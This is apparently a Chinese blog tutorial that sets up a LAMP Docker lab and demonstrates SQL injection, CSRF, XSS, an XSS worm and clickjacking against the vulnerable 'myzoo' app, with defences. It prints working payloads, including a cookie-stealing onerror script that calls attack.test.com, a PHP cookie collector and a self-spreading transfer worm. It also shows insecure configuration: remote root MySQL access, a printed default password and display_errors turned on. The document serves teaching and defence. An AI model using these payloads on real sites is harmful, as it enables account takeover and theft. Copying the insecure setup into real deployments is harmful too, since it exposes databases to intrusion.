docker安装lamp环境

docker安装lamp环境(该docker:lincode ubuntu14.04,php5.5,mysql,约372mb):

docker search lamp
# 选择lincode下载 下载速度较快 稳定
docker pull linode/lamp
#镜像端口、名称、文件夹映射都可以配置,一经配置,修改比较麻烦,建议一次配好
docker run -it -p 80:80 -p 3306:3306 -p 443:443 --name lamp linode/lamp /bin/bash
# 下载完成看一下配置好的镜像
docker images
#用 docker rmi 镜像id 可以删除

image.png

#启动镜像 stop/restart
sudo docker start lamp
#查看运行中的镜像
docker ps -a
#shell进入镜像
sudo docker exec -it lamp /bin/bash

如果后期需要更新配置:
修改映射关系的一个例子

#从容器创建一个新的镜像,可手动删除源镜像
sudo docker commit 964f5db616e6 lamp2
#设置该镜像的配置
sudo docker run -it -p 80:80 -p 3306:3306 -p 443:443 -v /home/muddyway/下载/myzoo:/var/www/example.com/public\_html/myzoo -v /home/muddyway/下载/attack:/var/www/attack.com/public\_html lamp2 /bin/bash
service apache2 start   
service mysql start
# 可以通过netstat -pant 命令查看80和3306端口有没有开启成功
mysql -u root -p
#密码:Admin2015
 
#修改root可远程登录:
mysql>use mysql;
mysql>update user set host = '%' where user = 'root' and host='127.0.0.1';
 
#修改密码:
mysql>update user set password=password("your_password") where user='root';
 
#刷新权限
FLUSH PRIVILEGES;
#检查获取源更新
apt update
#升级包(可选)
apt upgrade
apt install -y php5-mysql
apt install -y php5-gd
 
#然后重启apache2:
service apache2 restart
 
#再次确认mysql和apache2有没有安装成功:
netstat -pant

#可以通过下面的命令查看服务器上有哪些php的扩展:
apt-cache search php5-\*

apt-get remove vim-common  
apt-get install vim

安装phpmyadmin

apt install phpmyadmin

#安装过程中会要求选择web server:apache2或lighttpd,按空格选择apache2,按Tab键确定就行。然后会要求输入密码,就是安装mysql的root密码。
ln -s /usr/share/phpmyadmin /var/www/html

有的人可能没有html目录,就把“/html”去掉就好了。
然后在浏览器输入localhost/phpmyadmin,就可以看见phpmyadmin的登录界面了。

如果自己需要了解https参考,一般主机商提供免费https证书
配置虚拟主机参考

建立host映射(这一步不是在docker做的,是配置主机与docker的映射):
attack.com是已经建立好的虚拟主机

sudo vim /etc/hosts
127.0.0.1    attack.com
sudo /etc/init.d/networking restart

开启apache虚拟主机开关:

vi /etc/apache2/apache2.conf
#修改 HostnameLookups On

如果php需要调试可以打开错误报告开关(而不是显示500):

/etc/apache2/apache2.conf
php_flag display_errors on
php_value error_reporting 2039

如果没有建立docker映射文件夹,需要手动将自己文件拷贝到docker里apache服务器站点目录下:

sudo docker cp /home/muddyway/下载/myzoo/includes/transfer.html 964f5db616e6:/var/www/attack.com/public_html/transfer.html

web安全实践

视频
需要myzoo php5版本

开始

sql注入演示,在myzoo中的profile中输入:

', Zoobars=100, Profile='hello

查看源码,发现在处理$profile参数时,没有进行防止sql注入的相应的过滤。

$sql = "UPDATE Person SET Profile='$profile' ".
       "WHERE PersonID=$user->id";
123' or 1=1#, 密码填 123' or 1=1#

css修改,在myzoo中的profile中输入:

<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>

csrf

建立攻击网站(localhost):
https://attack.test.com/trans...
image.png
抽奖

#模拟post
<form id="form" method=POST name=transferform 
  action="https://bank.test.com/myzoo/transfer.php" >
<p>Send <input name=zoobars type=hidden value="1" size=5> zoobars</p>
<p>to <input name=recipient type=hidden value="root"></p>
<p>to <input name=submission type=submit value="抽奖"></p>
</form>
#嵌入原页面
 <iframe name="myframe" style="display:true" src="https://bank.test.com/myzoo/transfer.php" ></iframe> 
#js post提交
<script>

    function _submit(){
        var form = document.getElementById("form");
        form["target"]="myframe";
        form.submit();
        console.log(1);
        console.log(form);
    };
    _submit();
</script>

防御:

  • 1.session token
    session_start();
    提交post后处理逻辑
    $_SESSION["csrf"] = md5(uniqid(mt_rand(), true));
    <input type=hidden name=csrf value="<?php echo $_SESSION["csrf"]?>"/>
  • 2.refer
echo $_SERVER['HTTP_REFERER'];
if ($_SERVER['HTTP_REFERER'] != "https://bank.test.com/myzoo/transfer.php") {
    echo "transfer fail";
  }else{
    echo "transfer pass";
}

使用post方式防御CSRF
使用https防御CSRF

xss

user

<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74:alert(1)>hello</a>

修改 myzoo/user.php源码

$allowed_tags = 
      '<script><a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
      '<tr><td><th><u><ul><em><span>';
$disallowed = 
  'eval|setTimeout|setInterval|target|'.
  'onAbort|onBlur|onChange|onClick|onDblClick|'.
  'onDragDrop|onFocus|onKeyDown|onKeyPress|'.
  'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
  'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
  'onSelect|onSubmit|onUnload';

profile user查看(允许打开新窗口)

<img src=x onerror=javascript:window.open(\"https://attack.test.com/transfer.php?cookie=\"+document.cookie) />

修改php

<?php 
$cookie = $_GET['cookie'];  
if(isset($cookie)){  
echo 'get cookie: '.$cookie;  
}else{  
echo 'not get cookie';  
}  
?>

防御:
HttpOnly cookie
黑名单、白名单

worm

<span id="hack">
    <script>
        xmlhttp=new XMLHttpRequest();
        xmlhttp.open("POST","https://bank.test.com/myzoo/transfer.php",false);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send("zoobars=1&recipient=root&submission=Send");

        xmlhttp=new XMLHttpRequest();
        xmlhttp.open("POST","https://bank.test.com/myzoo/index.php",true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        str = "<span id=hack>"
        str += document.getElementById("hack").innerHTML + "</span>";
        str = encodeURIComponent(str);
        str = "profile_submit=Save&profile_update=" + str;
        xmlhttp.send(str);
    </script>
</span>

点击劫持:

image.png
https://attack.test.com/click.php
三种隐藏元素方法:
display:none
没有存在过的痕迹
visibility:hidden
有存在过的痕迹,但不见了,点击没有效果
opacity:0
有存在过的痕迹,但不见了,点击有效果

方法一、后台防御
X-Frame-Options

DENY:禁止iframe
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护
ALLOW-FROM: https://example.com:白名单限制

在transfer.php页面头加上,则无法加载iframe。

header('X-Frame-Options:DENY'); #所有的网页都不允许加载iframe
header('X-Frame-Options:SAMEORIGIN');#同源网页可以加载iframe

方法二、js防御
在transfer.php页面加上,效果是如果外部网页加载iframe,则重定位到transfer.php页面。

<style type="text/css">
  body{display: none;}
</style>
<script type="text/javascript">
  if (self == top) {
    var theBody = document.getElementsByTagName('body')[0];
    theBody.style.display='block';
  }else{
    top.location = self.location;
  }
</script>

ajax
速度快、资源少、异步、请求和接收
1.资源未加载
2.open结束
3.发送成功
4.接收中
5.加载资源成功

XSS注入了javascript脚本,这个脚本就可以通过ajax获取用户信息并通过ajax提交给其他站点

同源策略
cors
Access-Control-Allow-Origin: example.com
Access-Control-Request-Method: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization, Accept, Range, Origin
Access-Control-Expose-Headers: Content-Range
Access-Control-Max-Age: 3600


muddyway
10 声望3 粉丝